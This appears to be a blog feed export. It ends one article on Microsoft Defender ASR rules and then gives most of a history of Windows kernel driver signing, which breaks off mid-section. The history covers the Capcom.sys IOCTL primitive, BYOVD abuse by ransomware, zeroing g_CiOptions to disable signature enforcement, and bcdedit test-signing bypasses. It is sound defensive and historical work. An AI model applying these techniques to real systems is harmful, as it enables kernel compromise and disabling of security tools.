No. The Office macro era ended through three layers in combination: (1) **Europol&apos;s Operation LadyBird** on January 27, 2021, the coordinated international takedown of Emotet&apos;s command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) **ASR&apos;s 2017-onward Office rules at the enterprise tier**, managed through Intune, Group Policy, or Defender for Endpoint; (3) **the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier**, announced by Tom Gallagher on February 7, 2022 and resumed July 20, 2022 after a brief pause for usability fixes [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer. It was not the only layer. The honest version of the story names all three.

Partially yes, and the nuance matters. The interception point (`WdFilter.sys`, registered at altitude 328010 in the FSFilter Anti-Virus band per the IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]) is **kernel-mode**. The policy evaluation (`MsMpEng.exe`) is **user-mode** at integrity level System. Calling ASR &quot;kernel-mode&quot; without nuance is incomplete; the correct one-line framing is &quot;kernel-mediated interception, user-mode policy evaluation.&quot;

No. Microsoft Learn&apos;s overview page states verbatim: &quot;If you enabled Local Security Authority (LSA) protection (recommended, along with Credential Guard), this rule is redundant&quot; [@ms-learn-asr-overview]. The LSASS ASR rule shows as &quot;not applicable&quot; on devices where LSA Protection is enabled. The &quot;not applicable&quot; state is the correct behaviour, not a misconfiguration.

No. Only two ASR rules skip Warn mode -- &quot;Block credential stealing from the Windows local security authority subsystem&quot; and &quot;Block Office applications from injecting code into other processes&quot; -- both per Microsoft Learn&apos;s overview page [@ms-learn-asr-overview]. Section 4 Generation 3 walks the byte-level proof that the rest of the catalogue (including the Safe Mode reboot rule and the copied-tools rule, two of the five rules the folklore wrongly lists) does support Warn.

Yes -- routinely. The &quot;the SOC never sees ASR&quot; framing is rhetoric, not reality. Multiple rules raise EDR alerts in Defender for Endpoint; every rule except the Webshell rule lands a row in `DeviceEvents` [@ms-learn-asr-reference]. The accurate framing is that ASR blocks rarely require analyst response because there is nothing left to triage once the kernel has returned the operation as failed -- the Frankfurt analyst from this article&apos;s opening never gets paged because the macro never spawned PowerShell. The SOC can hunt, audit, and report on ASR activity at any time; the choice not to triage individual blocks is exactly what a well-tuned preventive layer ought to enable.
&lt;p&gt;Nine years, seven generations, nineteen rules, one structural pivot from nodes to edges, and the same Cohen-1984 ceiling that every behaviour-block list inherits. The Frankfurt analyst from this article&apos;s opening never knew the macro fired -- because the kernel made sure nothing happened. That is the article in one sentence: a quiet layer that converts a credential-stealing-banking-trojan-turned-loader campaign into a single-row telemetry event the SOC routinely ignores, by classifying edges instead of nodes.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;attack-surface-reduction-rules-the-quiet-layer-that-stopped-office-macros&quot; keyTerms={[
  {term: &quot;Attack Surface Reduction (ASR) rules&quot;, definition: &quot;A fixed catalogue (19 rules in May 2026) of behavioural blocks enforced by Microsoft Defender Antivirus on supported Windows editions. Each rule names a specific runtime edge and can be set to Audit, Warn, or Block mode.&quot;},
  {term: &quot;Edge classification&quot;, definition: &quot;Deciding whether a specific runtime relationship between two nodes (process A creating process B, process A opening a handle to LSASS memory) is permitted, as opposed to deciding whether a node (binary) is malicious in isolation.&quot;},
  {term: &quot;WdFilter.sys&quot;, definition: &quot;The Microsoft Defender Antivirus kernel-mode minifilter, registered at altitude 328010 in the FSFilter Anti-Virus band, that intercepts the runtime edges ASR evaluates.&quot;},
  {term: &quot;MsMpEng.exe&quot;, definition: &quot;The user-mode Microsoft Defender Antivirus service that evaluates ASR rule predicates against edges intercepted by WdFilter.sys.&quot;},
  {term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver: an attack pattern where the operator imports a signed but vulnerable kernel driver to gain kernel-mode primitives and disable security telemetry.&quot;},
  {term: &quot;Mark of the Web (MOTW)&quot;, definition: &quot;The NTFS Zone.Identifier alternate data stream that marks a file as originating from outside the local machine. The Microsoft 365 Apps internet-macro default block uses MOTW as its trigger.&quot;},
  {term: &quot;Standard protection rules&quot;, definition: &quot;The three ASR rules Microsoft classifies as safe to enable in Block mode without staged rollout: BYOVD, LSASS, and WMI persistence.&quot;},
  {term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary: a signed Microsoft Windows binary that attackers use to execute malicious behaviour while staying off identity-based allow-lists.&quot;},
  {term: &quot;Cohen-1984 undecidability&quot;, definition: &quot;Fred Cohen&apos;s 1984 result that detection of arbitrary viral behaviour in a program reduces to the Halting Problem and is therefore undecidable in general.&quot;}
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>attack-surface-reduction</category><category>microsoft-defender</category><category>endpoint-security</category><category>office-macros</category><category>edr</category><category>byovd</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>The Driver That Was Signed and the Driver That Won&apos;t Load: Windows Kernel Code Integrity, 2006-2026</title><link>https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/</link><guid isPermaLink="true">https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/</guid><description>A history of Windows kernel code-signing -- KMCS, BYOVD, HVCI, the Vulnerable Driver Block List, and why a 2026 Windows kernel uses five gates to decide what loads.</description><pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows ships a list of Microsoft-signed drivers it refuses to load.** That list -- `DriverSiPolicy.p7b` -- exists because every previous generation of kernel-driver trust assumed a signed driver was a safe driver, and a twenty-year run of Bring-Your-Own-Vulnerable-Driver attacks (Stuxnet, Capcom.sys, RTCore64.sys, gdrv.sys) proved that assumption wrong. The 2026 default-on stack -- KMCS, the block list, HVCI in VTL1, Smart App Control, and Defender ASR coverage -- is five gates doing what one ideal gate cannot do: name the specific weakness, not just the publisher. The architectural gap that motivates the stack is undecidable in principle and will not close.
&lt;h2&gt;1. The Driver That Loaded&lt;/h2&gt;
&lt;p&gt;On 13 September 2016, the researcher Matt Nelson posted on his &lt;em&gt;enigma0x3&lt;/em&gt; blog that a Capcom-published kernel driver, &lt;code&gt;Capcom.sys&lt;/code&gt;, exposed IOCTL &lt;code&gt;0xAA013044&lt;/code&gt; and used it to execute a user-supplied function pointer in kernel mode, with SMEP disabled along the way [@gh-tandasat-capcom] [@gh-tandasat-capcom]. Within two weeks the technique was operational in Metasploit. Later in September 2016, Capcom pushed the same driver to Street Fighter V&apos;s entire installed base as part of an anti-cheat update; in October 2016, Satoshi Tanda published the canonical standalone exploit on GitHub. Capcom withdrew the SFV driver shortly after, but the bytes were already in the wild.The often-told version of this story compresses three distinct events into one. Matt Nelson&apos;s &lt;em&gt;Let&apos;s Be Bad Guys&lt;/em&gt; post on 13 September 2016 disclosed the IOCTL number and the function-pointer-execution primitive. OJ Reeves opened the canonical Metasploit pull request, rapid7/metasploit-framework#7363 [@gh-msf-pr-7363], shortly after; the PR was created on 27 September 2016 and merged the following day [@gh-msf-pr-7363]. Satoshi Tanda&apos;s &lt;code&gt;tandasat/ExploitCapcom&lt;/code&gt; repository was first published in October 2016 and is the canonical standalone PoC, and the artefact this article cites for the IOCTL number and SHA-1 hash.&lt;/p&gt;
&lt;p&gt;The driver was properly Authenticode-signed. It chained to a Microsoft-recognised root. It loaded cleanly on every default-configured Windows 7, 8.1, and 10 machine in the world.&lt;/p&gt;
&lt;p&gt;That is the puzzle this article exists to answer. How does an operating system whose entire kernel-loading policy is &lt;em&gt;was this binary signed?&lt;/em&gt; answer a vulnerability whose only failure mode is &lt;em&gt;yes, by a real publisher, doing exactly what the signature says it does&lt;/em&gt;?&lt;/p&gt;
&lt;h3&gt;A class, not an incident&lt;/h3&gt;
&lt;p&gt;Capcom.sys was not the first signed kernel driver with a primitive IOCTL, and it would not be the last. The pattern recurs across two decades and is the through-line of this article. The catalogue includes Micro-Star&apos;s &lt;code&gt;RTCore64.sys&lt;/code&gt; (the kernel component of MSI Afterburner), Gigabyte&apos;s &lt;code&gt;gdrv.sys&lt;/code&gt;, and the &lt;code&gt;KProcessHacker&lt;/code&gt; driver shipped with Process Hacker. Section 4 walks through each one with its primary disclosure record.&lt;/p&gt;
&lt;p&gt;The attack class has a name. &lt;em&gt;Bring Your Own Vulnerable Driver&lt;/em&gt;, or BYOVD. The adversary does not need to find a kernel zero-day. They need to find one signed driver, anywhere, whose interface is unsafe by design, and to ship it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Windows in 2026 ships a curated list of Microsoft-signed drivers it refuses to load. Understanding that list is understanding why every previous attempt to make kernel-mode trust mean &lt;em&gt;safety&lt;/em&gt; instead of just &lt;em&gt;identity&lt;/em&gt; eventually broke.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The current Windows 11 22H2 client honours &lt;code&gt;%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b&lt;/code&gt;, a Microsoft-signed deny list enforced by a hypervisor-isolated code-integrity engine sitting in Virtual Trust Level 1. The same engine refuses to map any kernel page that is simultaneously writable and executable. Both behaviours are documented on Microsoft Learn&apos;s Memory Integrity page [@ms-hvci-vbs] and the Microsoft-recommended driver block rules page [@ms-driver-block-rules] [@ms-hvci-vbs] [@ms-driver-block-rules]. Neither existed in 2006.&lt;/p&gt;
&lt;p&gt;To understand why Windows now refuses to load drivers it once asked Microsoft to sign, we need to go back thirty years to the moment Windows first asked a publisher to sign anything at all.&lt;/p&gt;
&lt;h2&gt;2. Advisory Trust: 1996 to 2005&lt;/h2&gt;
&lt;p&gt;For its first decade, the Windows driver signing policy was a polite recommendation.&lt;/p&gt;
&lt;p&gt;Microsoft shipped its first user-mode code-signing primitive, &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt;, in 1996, packaged for developers in the same tool kit that gave us &lt;code&gt;SignTool&lt;/code&gt;, &lt;code&gt;MakeCat&lt;/code&gt;, and &lt;code&gt;Inf2Cat&lt;/code&gt; -- the suite Microsoft Learn still documents under &quot;Cryptography tools&quot; [@ms-crypto-tools] [@ms-crypto-tools]. Authenticode wrapped a PKCS#7 signature around the SHA-1 (and later SHA-256) hash of a PE image and let a recipient walk the signer&apos;s certificate chain to a trusted root. It was the first answer to the question &lt;em&gt;who shipped this binary?&lt;/em&gt; It was, deliberately, never an answer to &lt;em&gt;is this binary safe?&lt;/em&gt;&lt;/p&gt;

Microsoft&apos;s PKCS#7-based code-signing format for Windows binaries. Authenticode attests to the publisher&apos;s identity by binding the binary&apos;s hash to a certificate chain anchored at a trusted root. It does not analyse the program&apos;s behaviour.
&lt;p&gt;For drivers, the user-mode signing primitive was paired with a separate quality program. The Windows Hardware Quality Labs programme, documented today via the Hardware Lab Kit [@ms-hlk], tested third-party drivers against a Microsoft-curated compatibility suite and rewarded passing drivers with a counter-signature, eventually surfaced as the &quot;Designed for Windows&quot; or &quot;Certified for Windows&quot; mark [@ms-hlk]. The badge was operationally meaningful for OEM badging and Windows Update distribution. It was not a load-time gate. An unsigned &lt;code&gt;.sys&lt;/code&gt; file dropped on disk by a setup script still loaded.&lt;/p&gt;

Microsoft&apos;s compatibility-test programme for third-party drivers. A driver that passes the HLK test suite receives a Microsoft counter-signature and is eligible for OEM and Windows Update distribution. The programme produces a quality signal, not a load-time enforcement decision.
&lt;h3&gt;The SetupAPI prompt&lt;/h3&gt;
&lt;p&gt;On 32-bit Windows, the gate the user actually saw was the SetupAPI driver-installation prompt. The administrator could set the system to &lt;em&gt;Ignore&lt;/em&gt;, &lt;em&gt;Warn&lt;/em&gt;, or &lt;em&gt;Block&lt;/em&gt; unsigned drivers; the default was &lt;em&gt;Warn&lt;/em&gt;. &lt;em&gt;Warn&lt;/em&gt; meant a click-through dialog at install time. An administrator who clicked &lt;em&gt;Install this driver anyway&lt;/em&gt; loaded the unsigned driver, no further questions asked. The structural truth is the one Microsoft&apos;s modern KMCS policy page [@ms-kmcs-policy] acknowledges by contrast: under advisory policy, the prompt is the policy, and a prompt is exactly as strong as the user clicking past it [@ms-kmcs-policy].&lt;/p&gt;
&lt;p&gt;The Sony BMG XCP incident in October 2005 made the structural weakness concrete. The XCP copy-protection software, shipped on retail audio CDs, autorun-installed an unsigned kernel-mode filter driver. The driver hid any file, registry key, or process whose name began with the string &lt;code&gt;$sys$&lt;/code&gt; -- a textbook rootkit by capability if not by intent. The driver loaded after an administrator clicked through the warning prompt, exactly as advisory policy allowed. The pattern is described well in Wikipedia&apos;s code-signing article [@wp-code-signing] [@wp-code-signing].The Sony BMG XCP rootkit triggered class-action lawsuits, FTC settlements, and an industry-wide reconsideration of what &quot;the user clicked OK&quot; actually authorises. From a kernel-trust perspective, the lesson is narrower: any policy that ends in a dismissible dialog has the same threat model as no policy at all, against an attacker who can show the user a dialog.&lt;/p&gt;
&lt;p&gt;The structural takeaway from 1996 through 2005 is the one the next decade tried to repair. When the signing policy is advisory, an attacker who has -- or can socially engineer -- administrator privilege only needs to dismiss a prompt to load a kernel driver. The signing primitive worked. The policy around the primitive did not.&lt;/p&gt;
&lt;p&gt;If the prompt is the only thing between an attacker and ring zero, the kernel itself has to take over. And on a brand-new x64 architecture, Microsoft could break backward compatibility to make that happen.&lt;/p&gt;
&lt;h2&gt;3. KMCS: The Vista x64 Revolution (2006-2016)&lt;/h2&gt;
&lt;p&gt;In November 2006, Vista x64 made a decision that x86 never could: it refused to load any unsigned kernel driver, full stop.&lt;/p&gt;
&lt;p&gt;The mechanism was Kernel-Mode Code Signing, or KMCS. The previous-versions Microsoft Learn page on Vista-era driver signing [@learn-microsoft-com-design-dn653567vvs85]) records the policy [@ms-dn653567]. At the point where the I/O manager called &lt;code&gt;IoLoadDriver&lt;/code&gt;, the Code Integrity module (&lt;code&gt;ci.dll&lt;/code&gt;) intercepted the load, extracted the Authenticode signature embedded in the PE image or attached via a published catalogue, walked the certificate chain, and refused to map the image if the chain did not terminate at a Microsoft-trusted root. There was no SetupAPI prompt to dismiss. If the kernel refused, the kernel refused. The decision lived below the user&apos;s reach.&lt;/p&gt;

The Vista-era mandatory load-time signature policy on 64-bit Windows. Before mapping a kernel driver&apos;s PE image, the Code Integrity module verifies that the image&apos;s Authenticode signature chains to a Microsoft-trusted root. Drivers that fail the check are refused at load time, not at install time.
&lt;p&gt;x86 kept the advisory policy. Microsoft could not break compatibility with two decades of unsigned drivers on the dominant platform. But x64 was a young architecture with a few hundred drivers in the field, and Microsoft used that moment to flip the default. The structural shift was real: kernel-driver trust on x64 became a property of the binary, decided in the kernel, against a fixed set of trusted roots.&lt;/p&gt;
&lt;h3&gt;Cross-certificates: opening the gate to the world&lt;/h3&gt;
&lt;p&gt;A Microsoft-trusted root alone would have meant Microsoft signs every driver, which Microsoft did not want. Instead Microsoft cross-certified a small set of commercial code-signing certificate authorities -- including VeriSign, DigiCert, Entrust, GlobalSign, GoDaddy, and several smaller successors enumerated on the historical cross-certificate list (2020 archive) [@ms-cross-cert-archive] -- so that a publisher could buy a code-signing certificate from a commercial CA, sign their driver, and have the chain still terminate at a Microsoft-recognised root [@ms-cross-cert-archive]. The architecture is documented on the cross-certificates for kernel-mode code signing page [@ms-cross-cert], which now opens with a sentence that did not exist in 2006: &quot;Cross-signing is no longer accepted for driver signing&quot; [@ms-cross-cert]. We will come back to that.&lt;/p&gt;

sequenceDiagram
    participant IO as I/O Manager
    participant CI as Code Integrity (ci.dll)
    participant CA as Cross-certified CA chain
    participant Root as Microsoft trusted root&lt;pre&gt;&lt;code&gt;IO-&amp;gt;&amp;gt;CI: Map PE for kernel driver
CI-&amp;gt;&amp;gt;CI: Extract Authenticode signature (PKCS#7)
CI-&amp;gt;&amp;gt;CA: Walk certificate chain
CA-&amp;gt;&amp;gt;Root: Anchor at Microsoft cross-cert
alt Chain valid and not revoked
    CI-&amp;gt;&amp;gt;IO: Allow section creation
    IO-&amp;gt;&amp;gt;IO: Load driver into kernel address space
else Chain invalid or unsigned
    CI-&amp;gt;&amp;gt;IO: STATUS_INVALID_IMAGE_HASH
    IO-&amp;gt;&amp;gt;IO: Abort load
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Documented escape hatches&lt;/h3&gt;
&lt;p&gt;KMCS shipped with three documented bypasses for developers and special cases, all enumerated on the KMCS policy page [@ms-kmcs-policy] [@ms-kmcs-policy]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bcdedit /set TESTSIGNING ON&lt;/code&gt; enables test-signing mode. The kernel will load drivers signed with self-issued test certificates. The cost is a desktop watermark.&lt;/li&gt;
&lt;li&gt;The F8 advanced-boot option &lt;em&gt;Disable Driver Signature Enforcement&lt;/em&gt; turns off KMCS for one boot.&lt;/li&gt;
&lt;li&gt;The legacy &lt;code&gt;nointegritychecks&lt;/code&gt; BCD flag disables enforcement entirely, but is rejected on systems where &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt; is on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each of these was a development workflow concession. Each of them, with admin privileges and a willingness to reboot, also serves as a kernel-driver loading path for an attacker who has already escalated. The policy holds against unprivileged adversaries. Against an attacker who already runs as administrator, the policy was already, by 2010, defending against a different threat than the one people thought it was defending against.Microsoft has been formally clear about this since at least 2016: the administrator-to-kernel transition is not a security boundary in the MSRC servicing-criteria sense. Elastic Security Labs writes the position out explicitly in their analysis of vulnerable-driver mitigations [@elastic-admin] [@elastic-admin]. The historical irony is that Vista x64 KMCS was widely read at the time as a defence against admin-level adversaries; it was actually a defence against unprivileged or pre-admin ones.&lt;/p&gt;
&lt;h3&gt;PatchGuard: the parallel runtime defence&lt;/h3&gt;
&lt;p&gt;KMCS was a load-time check. The runtime parallel arrived in 2005 with Kernel Patch Protection, informally PatchGuard or KPP, which the Wikipedia entry on Kernel Patch Protection [@wp-kpp] describes as a feature of 64-bit Windows that prevents patching of critical kernel structures [@wp-kpp]. KPP polls a set of integrity-critical kernel objects -- the System Service Descriptor Table, IDT, GDT, certain function prologues -- and triggers a bug check if it detects tampering. It is the watchdog against runtime modification of the kernel by code that has already loaded; KMCS gates what loads in the first place.&lt;/p&gt;
&lt;p&gt;What this fixed: the unsigned-driver-loading path closed on 64-bit Windows in production mode. Kernel rootkits of the early 2000s -- FU, Mailbot, Rustock, and their contemporaries, widely documented in the security-research literature of the era -- could no longer ship as bare &lt;code&gt;.sys&lt;/code&gt; files an admin script dropped on disk. The structural class of &quot;unsigned kernel rootkit&quot; effectively died on x64.&lt;/p&gt;
&lt;p&gt;But the day Vista x64 shipped, two new attack surfaces opened up. The first one Stuxnet found four years later. The second one nobody had a name for yet.&lt;/p&gt;
&lt;h2&gt;4. Stuxnet, BYOVD, and the Two Things Vista Did Not Fix&lt;/h2&gt;
&lt;p&gt;On 17 June 2010, researchers in Belarus and Iran identified Stuxnet, a worm targeting supervisory control and data acquisition systems [@wp-stuxnet] used in industrial-control environments [@wp-stuxnet]. Two of its drivers carried perfectly valid Authenticode signatures.&lt;/p&gt;
&lt;p&gt;The signatures were genuine. The certificates were not. Stuxnet had been signed with private keys stolen from semiconductor vendors whose code-signing certs chained to legitimate cross-certified roots. KMCS verified the chain, found it good, and let the drivers load.Stuxnet is widely reported to have used stolen signing keys from two real semiconductor vendors. The malware-analysis literature is consistent on the pattern; specific cert-holder attributions are reproduced in many places but the primary advisory record we cite here is the Wikipedia Stuxnet article [@wp-stuxnet] and the general framing in the Wikipedia code-signing article [@wp-code-signing] [@wp-stuxnet] [@wp-code-signing]. The reactive answer was certificate revocation, but revocation propagates through Windows on a schedule, not instantly, and the cached chain on millions of machines remained valid for days.&lt;/p&gt;
&lt;p&gt;That was the first failure mode KMCS could not block by design. The signature primitive answers &lt;em&gt;was this signed by a key that chains to a trusted root?&lt;/em&gt; It cannot answer &lt;em&gt;was the key still in the publisher&apos;s control when it signed this?&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;The Capcom.sys reframe&lt;/h3&gt;
&lt;p&gt;The second failure mode arrived publicly in 2016. A Capcom driver shipped via a Street Fighter V update exposed an IOCTL, numbered &lt;code&gt;0xAA013044&lt;/code&gt;, that took a user-supplied function pointer and executed it in kernel mode -- with Supervisor Mode Execution Prevention (SMEP) disabled while it did so. The driver was signed and chained correctly. Satoshi Tanda&apos;s standalone proof of concept at &lt;code&gt;tandasat/ExploitCapcom&lt;/code&gt; [@gh-tandasat-capcom] remains the canonical reference, including the SHA-1 of the binary (&lt;code&gt;c1d5cf8c43e7679b782630e93f5e6420ca1749a7&lt;/code&gt;) [@gh-tandasat-capcom].&lt;/p&gt;
&lt;p&gt;There was nothing for KMCS to catch. The driver did exactly what the signature said it did: ship bytes from a publisher Microsoft could identify. The signature has no opinion about the IOCTL surface.&lt;/p&gt;

A signed driver means only that someone Microsoft can identify shipped this binary. It does not mean the driver lacks a function-pointer IOCTL.
&lt;p&gt;That observation is the first of three reframes in this article and the easiest to underestimate. Up to 2010 the conventional security reading of a Microsoft-rooted Authenticode signature was that the driver had passed a review. After Stuxnet, the reading narrowed to &lt;em&gt;the publisher is identifiable&lt;/em&gt;. After Capcom.sys, it narrowed again to &lt;em&gt;the binary&apos;s identity is verifiable&lt;/em&gt;. None of these readings includes &lt;em&gt;the binary does not have a kernel-write primitive in its IOCTL handler&lt;/em&gt;.&lt;/p&gt;

An attack pattern in which an adversary, having obtained or already holding administrator privileges, installs a signed but design-vulnerable third-party kernel driver and uses its exposed primitives -- arbitrary memory read/write, port I/O, MSR access, or function-pointer dispatch -- to gain ring-zero capability. The signature primitive does not refuse the load because the driver is, on signature alone, legitimate.
&lt;h3&gt;The catalogue grows&lt;/h3&gt;
&lt;p&gt;The BYOVD catalogue accumulated through the 2010s.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RTCore64.sys&lt;/code&gt;, the kernel component of MSI&apos;s Afterburner overclocking utility, exposed read/write access to arbitrary kernel memory, I/O ports, and Model-Specific Registers from user mode. The NVD entry for CVE-2019-16098 [@nvd-cve-2019-16098] is unusually direct: &quot;These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.&quot; [@nvd-cve-2019-16098] The driver became a workhorse for ransomware crews. Sophos&apos;s October 2022 incident analysis of BlackByte&apos;s new variant [@sophos-blackbyte] documents the abuse: BlackByte &quot;abus[ed] a known vulnerability in the legitimate vulnerable driver RTCore64.sys&quot; to disable &quot;a whopping list of over 1,000 drivers on which security products rely to provide protection&quot; [@sophos-blackbyte].&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gdrv.sys&lt;/code&gt;, the Gigabyte APP Center driver, exposed a ring-zero memcpy-equivalent that a local attacker could use to overwrite arbitrary kernel addresses. CVE-2018-19320 [@nvd-cve-2018-19320] is on CISA&apos;s Known Exploited Vulnerabilities catalogue [@nvd-cve-2018-19320]. The RobinHood ransomware abused it during the 2019 Baltimore municipal-government attack -- a connection widely documented by Sophos and CrowdStrike incident-response teams, though absent from the bare NVD record.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;KProcessHacker&lt;/code&gt;, the kernel companion to the Process Hacker administration tool, exposed a process-termination primitive that bypassed even the Protected Process Light (PPL) shielding around antivirus and EDR processes. CrowdStrike&apos;s DoppelPaymer write-up [@cs-doppelpaymer] documents the abuse explicitly: &quot;the hijacking technique ... leverages ProcessHacker&apos;s kernel driver, KProcessHacker, that has been registered under the service name KProcessHacker3 ... terminate processes, including those protected by Protected Process Light (PPL).&quot; [@cs-doppelpaymer]&lt;/p&gt;

sequenceDiagram
    participant Adv as Adversary (admin user mode)
    participant SCM as Service Control Manager
    participant CI as Code Integrity (ci.dll)
    participant Drv as Signed vulnerable driver
    participant K as Kernel state&lt;pre&gt;&lt;code&gt;Adv-&amp;gt;&amp;gt;SCM: Install signed driver as kernel service
SCM-&amp;gt;&amp;gt;CI: Request load
CI-&amp;gt;&amp;gt;CI: Authenticode check passes
CI-&amp;gt;&amp;gt;SCM: Allow
SCM-&amp;gt;&amp;gt;Drv: Load into kernel
Adv-&amp;gt;&amp;gt;Drv: IOCTL with attacker-supplied pointers
Drv-&amp;gt;&amp;gt;K: Write attacker bytes at arbitrary kernel address
K-&amp;gt;&amp;gt;K: Clear EDR notify routine / escalate token
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The third bypass: patching the policy from kernel mode&lt;/h3&gt;
&lt;p&gt;There is a third failure mode that closes the loop. Once an attacker has a signed driver with an arbitrary kernel-write primitive, they can write directly into the in-kernel Code Integrity state. The variable of interest is &lt;code&gt;g_CiOptions&lt;/code&gt;, an integer inside &lt;code&gt;ci.dll&lt;/code&gt; whose bits gate Driver Signature Enforcement. TrustedSec describes the technique cleanly: &quot;this configuration variable has a number of flags that can be set, but typically for bypassing DSE this value is set to 0, completely disabled DSE and allows the attacker to load unsigned drivers just fine.&quot; [@trustedsec-gcioptions] Set &lt;code&gt;g_CiOptions&lt;/code&gt; to zero and the subsequent driver loads do not need signatures at all. The signed driver, in effect, is a one-shot key that opens the gate for any unsigned driver behind it. The pattern recurs through the early 2020s; specific malware-family attributions remain research-folklore, but the technique class is well attested in TrustedSec&apos;s account.&lt;/p&gt;
&lt;p&gt;The structural takeaway: KMCS verifies &lt;em&gt;who signed&lt;/em&gt;, never &lt;em&gt;what was signed&lt;/em&gt;. Once an attacker has a signed driver with a write primitive, they have ring zero. Stricter signing closes the front door for new malicious drivers. Every commercial-CA cert that was ever issued is still loadable. The policy decision has to move out of the attacker&apos;s reach. And the kernel itself has to stop being the thing that decides.&lt;/p&gt;
&lt;h2&gt;5. Microsoft as the Only Signer (2016-2024)&lt;/h2&gt;
&lt;p&gt;In August 2016, Microsoft did something the WHQL programme had refused to do for twenty years: it became the only entity that could counter-sign a new Windows kernel driver.&lt;/p&gt;
&lt;p&gt;The transition shipped with Windows 10 version 1607. The KMCS policy page [@ms-kmcs-policy] records the cut precisely: for end-entity certificates issued after 29 July 2015, the chain had to terminate at one of three Microsoft-owned roots -- &lt;em&gt;Microsoft Root Authority 2010&lt;/em&gt;, &lt;em&gt;Microsoft Root Certificate Authority&lt;/em&gt;, or &lt;em&gt;Microsoft Root Authority&lt;/em&gt; -- and the binary had to be counter-signed via the Windows Hardware Dev Center submission portal [@ms-kmcs-policy]. The commercial CAs were out. Microsoft was in, as the single point through which any new third-party kernel driver had to pass.&lt;/p&gt;
&lt;h3&gt;Two pipelines&lt;/h3&gt;
&lt;p&gt;Behind the portal sat two submission paths. The HLK/WHQL path required a full Hardware Lab Kit compatibility test pass on the publisher&apos;s hardware -- the lab kit is the modern incarnation of the WHQL programme, documented on Microsoft Learn [@ms-hlk] [@ms-hlk]. A passing run produced a &quot;Certified for Windows&quot; mark and made the driver eligible for OEM badging and Windows Update distribution. The lighter-friction path, called attestation signing [@ms-attestation], did not require an HLK run [@ms-attestation]. The publisher submitted a CAB containing the driver and supporting metadata. Microsoft&apos;s backend ran a malware scan and an automated policy check; if both passed, Microsoft applied a counter-signature. Attestation-signed drivers, the page notes, ship only to client SKUs.&lt;/p&gt;

The lower-friction post-2016 Microsoft signing path for Windows kernel drivers. The publisher uploads a CAB to the Hardware Dev Center; Microsoft runs malware scanning and an automated policy check; on pass, Microsoft applies its counter-signature. The path replaces full HLK testing for client-only drivers.
&lt;h3&gt;EV certificates as the account-binding primitive&lt;/h3&gt;
&lt;p&gt;Both paths required the publisher to hold an Extended Validation code-signing certificate. The EV cert does not sign the driver image itself; it signs and binds the Hardware Dev Center submission. That gives Microsoft a real-name handle on every kernel-driver publisher. EV certificates ride a strong identity check, cost meaningfully more than commercial OV certs, and live on a hardware token in the publisher&apos;s possession. The 2021 Microsoft Security blog announcing the Vulnerable &amp;amp; Malicious Driver Reporting Center spells the requirement out: &quot;Kernel-mode driver publishers must pass the Hardware Lab Kit (HLK) compatibility tests, malware scanning, and prove their identity through extended validation (EV) certificates.&quot; [@ms-vdrc-blog]&lt;/p&gt;

flowchart LR
    A[Publisher EV cert + driver CAB] --&amp;gt; B[Hardware Dev Center upload]
    B --&amp;gt; C[Malware scan]
    C --&amp;gt; D{HLK required?}
    D -- &quot;Yes&quot; --&amp;gt; E[HLK compatibility test pass]
    D -- &quot;No&quot; --&amp;gt; F[Attestation policy check]
    E --&amp;gt; G[Microsoft counter-sign]
    F --&amp;gt; G
    G --&amp;gt; H[Optional Windows Update distribution]
&lt;h3&gt;The legacy long tail&lt;/h3&gt;
&lt;p&gt;The pivot to Microsoft-only signing closed the door for new drivers. It did not close the door for old ones.&lt;/p&gt;

The KMCS policy page [@ms-kmcs-policy] is candid about the carve-outs: &quot;Cross-signed drivers are still permitted if any of the following are true: The PC was upgraded from an earlier release of Windows to Windows 10, version 1607. Secure Boot is off in the BIOS. Drivers was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA.&quot; [@ms-kmcs-policy]&lt;p&gt;Operationally, every signed-but-vulnerable driver from the 2006-2015 era remains loadable on a meaningful population of Windows machines: upgraded installs, devices with Secure Boot disabled in firmware, and drivers with pre-cutoff end-entity certs whose chains are still valid. &lt;code&gt;Capcom.sys&lt;/code&gt;, &lt;code&gt;RTCore64.sys&lt;/code&gt;, &lt;code&gt;gdrv.sys&lt;/code&gt;, &lt;code&gt;KProcessHacker&lt;/code&gt; -- the entire 2010s BYOVD catalogue -- continues to chain to roots Windows still accepts.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;What attestation signing catches and what it does not&lt;/h3&gt;
